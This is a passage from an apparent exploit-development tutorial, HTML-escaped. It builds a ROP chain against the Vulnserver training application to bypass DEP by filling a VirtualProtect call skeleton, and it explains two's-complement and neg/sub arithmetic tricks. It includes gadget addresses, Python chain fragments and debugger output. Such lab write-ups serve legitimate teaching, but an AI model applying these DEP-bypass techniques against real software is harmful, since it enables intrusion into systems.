&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]  
# ! first placeholder overwritten with VirtualProtect VMA
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;overriding-the-second-and-third-placeholders&quot;&gt;Overriding the second and third placeholders&lt;/h3&gt;

&lt;p&gt;After overwriting the initial &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; in the ‘skeleton’ with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; address, we turn our focus to the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt;, which serves as the return address for the shellcode. This ensures that once the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; call concludes, the stack will direct the application to jump to the shellcode’s starting point. As you may have observed a common pattern throughout this writeup, accomplishing this is not as straightforward as it sounds.&lt;/p&gt;

&lt;p&gt;While crafting a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain, it’s often difficult to gauge the exact number of gadgets required. Each gadget added nudges the shellcode an additional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x04&lt;/code&gt; bytes away from its original position. Due to this uncertainty, a placeholder is employed for the return address, typically set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESP + 0x104&lt;/code&gt;. This provides a head start when the time comes to adjust the return address to align with the shellcode’s starting location as only the offset that is added to the stack will need to be adjusted.&lt;/p&gt;

&lt;p&gt;When dealing with arithmetic operations, especially addition, one might come across the following useful gadget. In our scenario, let’s assume that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; carries the number of bytes we wish to add, while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; retains the previously preserved stack address:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pop ecx ; ret        // Pop 0x104 into ECX
add ecx, eax ; ret 
// Now, ECX is 0x104 bytes further from the preserved ESP value
// Keep in mind: &quot;add eax, ecx ; ret&quot; is a valid alternative, but it modifies the preserved ESP value
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, a challenge arises in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; architecture, particularly due to the way integers are represented. Integers span four bytes, and if a number doesn’t occupy the entire width, it’s padded with zeros. This can pose issues in applications where null-bytes disrupt string operations, a fairly common hurdle.&lt;/p&gt;

&lt;p&gt;The behavior is evident in Ruby:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;irb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;mo&quot;&gt;002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x01\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;irb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;mo&quot;&gt;004&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xFF\xFF\xFF\xFF&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To navigate this, one could employ a neat trick: subtract the desired number from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; thus obtaining it’s two-complement. Taking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt; as an example:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; ? 0 - 0x104
Evaluate expression: -260 = fffffefc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xfffffefc&lt;/code&gt; is sufficiently large to cover all four bytes.&lt;/p&gt;

&lt;p&gt;A peculiar aspect of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; architecture is its handling of addition operations that yield an eight-byte result, referred to as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QWORD&lt;/code&gt;. Despite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; not traditionally supporting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QWORD&lt;/code&gt; arithmetic (exceptions exist in the realm of floating-point operations), if two four-byte values are added to produce a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QWORD&lt;/code&gt;, the compiler simply truncates the most significant four bytes, preserving only the least significant half.&lt;/p&gt;

&lt;p&gt;To illustrate this behavior, we can perform an addition between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt; and its two’s complement, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xfffffefc&lt;/code&gt;. When combined, the compiler will effectively regard the sum as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; ? 0x104 + fffffefc
Evaluate expression: 4294967296 = 00000001`00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The result, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0000000100000000&lt;/code&gt;, represents a value that has exceeded the 4-byte boundary of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt;. But in the context of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; operation in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt;, only the least significant 4 bytes would be retained, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt;. This showcases the interesting behavior of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; architecture when faced with arithmetic overflow.&lt;/p&gt;

&lt;p&gt;Leveraging the nuances of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; arithmetic overflow offers unique ways to “increment” a value. Here are some common approaches:&lt;/p&gt;

&lt;h4 id=&quot;the-power-of-the-neg-instruction&quot;&gt;The Power of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;neg&lt;/code&gt; Instruction&lt;/h4&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;neg&lt;/code&gt; operation calculates the two’s complement of a value, essentially subtracting it from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Executing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;neg&lt;/code&gt; instruction on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xfffffefc&lt;/code&gt; yields &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; ? 0 - 0xfffffefc
Evaluate expression: -4294967036 = ffffffff`00000104
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After this, an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add r32, r32&lt;/code&gt; gadget can be employed to augment the value of the destination operand by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;emulating-the-neg-behavior&quot;&gt;Emulating the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;neg&lt;/code&gt; Behavior&lt;/h4&gt;

&lt;p&gt;In scenarios where a handy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;neg&lt;/code&gt; instruction-containing gadget is missing, it’s still possible to simulate its operation using other instructions:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ECX = 0xfffffefc
EAX = 0x00

sub eax, ecx
// EAX is now 0x104
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To null out &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;, several alternatives exist:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xor eax, eax
sub eax, eax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;intricacies-of-the-sub-instruction&quot;&gt;Intricacies of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt; Instruction&lt;/h4&gt;

&lt;p&gt;Using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sub&lt;/code&gt; instruction to increment might sound counterintuitive, but thanks to arithmetic overflow, it’s possible.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:004&amp;gt; r @esp
esp=0115fa08

0:004&amp;gt; r @eax
eax=fffffefc

&amp;gt; sub esp, eax

0:004&amp;gt; r @esp
esp=0115fb0c

// By calculating the difference from the original value, we see an increment of 0x104 bytes.
0:004&amp;gt; ? esp - 0115fa08 
Evaluate expression: 260 = 00000104
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Returning back to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vulnserver&lt;/code&gt;, we were fortunate enough to uncover several gadgets that could help us increment the preserved stack address. This increment by the placeholder value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt; would guide us to the probable location of our shellcode:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x625014d5: pop eax ; ret 
0x625016ca: neg eax ; ret
0x62501e3a: mov esi, eax ; call edi 
0x6250221c: add esi, ebx ; ret 
0x62502412: mov eax, esi ; pop esi ; pop edi ; ret 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s noteworthy that the third gadget ends with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction. However, as we’ve illustrated earlier, this isn’t an impediment. We can artfully use the address of a gadget implementing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop r32; ret&lt;/code&gt; instruction, which essentially mimics a return.&lt;/p&gt;

&lt;p&gt;Combining all the elements, here’s a representation of how our gadget chain will look. The aim is to increment the value in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; (which stores the address pointing to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton) by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x104&lt;/code&gt; bytes. The resulting address will point to the tentative shellcode location. Remember, this is an approximation. If the shellcode’s actual location differs, only a singular value will need to be adjusted.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret  
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffefc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 0 - 0x104
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625016ca&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# neg eax ; ret // eax is now 0x104
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501e3a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov esi, eax ; call edi
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250221c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# add esi, ebx ; ret  // esi is now ebx + 0x104
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62502412&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax, esi ; pop esi ; pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for esi
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for edi 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the end of the sequence of gadgets above, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESI&lt;/code&gt; register is moved back into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; during the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, esi ; pop esi ; pop edi ; ret instruction&lt;/code&gt;. This step is essential due to the previously highlighted gadget that can move a value into a pointer:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; now storing the prospective address of the shellcode location, the next objective is to transfer this address into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton as the second placeholder. To achieve this, the pointer in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt;, which points to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton, must be incremented by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x04&lt;/code&gt; bytes.&lt;/p&gt;

&lt;p&gt;While a common gadget like the one below is often available, it’s not the case this time:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;inc r32 ; ret

// where r32 would be EBX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The earlier chain has shown how to increment a value, but using that method to increase &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; by just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x04&lt;/code&gt; bytes is cumbersome, especially when needing to do it for multiple placeholders.&lt;/p&gt;

&lt;p&gt;Fortunately, two more fitting gadgets were uncovered:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x62501eaf: mov  [ebx+0x04], eax ; call  [0x625070DC]
0x62501ecd: mov  [ebx+0x08], eax ; call  [0x62507104]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first gadget can overwrite the second placeholder with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;, while the second gadget can overwrite the third. Recalling the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton from earlier discussions, both the second and third placeholders need the same value, the shellcode’s location. Thus, with these two gadgets, two placeholders can be filled in one go.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call [0x625070DC]&lt;/code&gt; is the same instruction at the end of the gadget that originally overwrote the first placeholder with the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; stub which was held by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;. Since this address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x625070DC&lt;/code&gt;) already points to a gadget mimicking a return, no further action is needed.&lt;/p&gt;

&lt;p&gt;Yet, the second gadget introduces yet another call to a hardcoded pointer (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62507104&lt;/code&gt;). This can be handled similarly by reassigning the address this pointer points to, to mimic a return.&lt;/p&gt;

&lt;p&gt;This simply just requires appending the following gadgets to the ‘prologue’ near the beginning of the chain:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop r32; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62507104&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x62507104
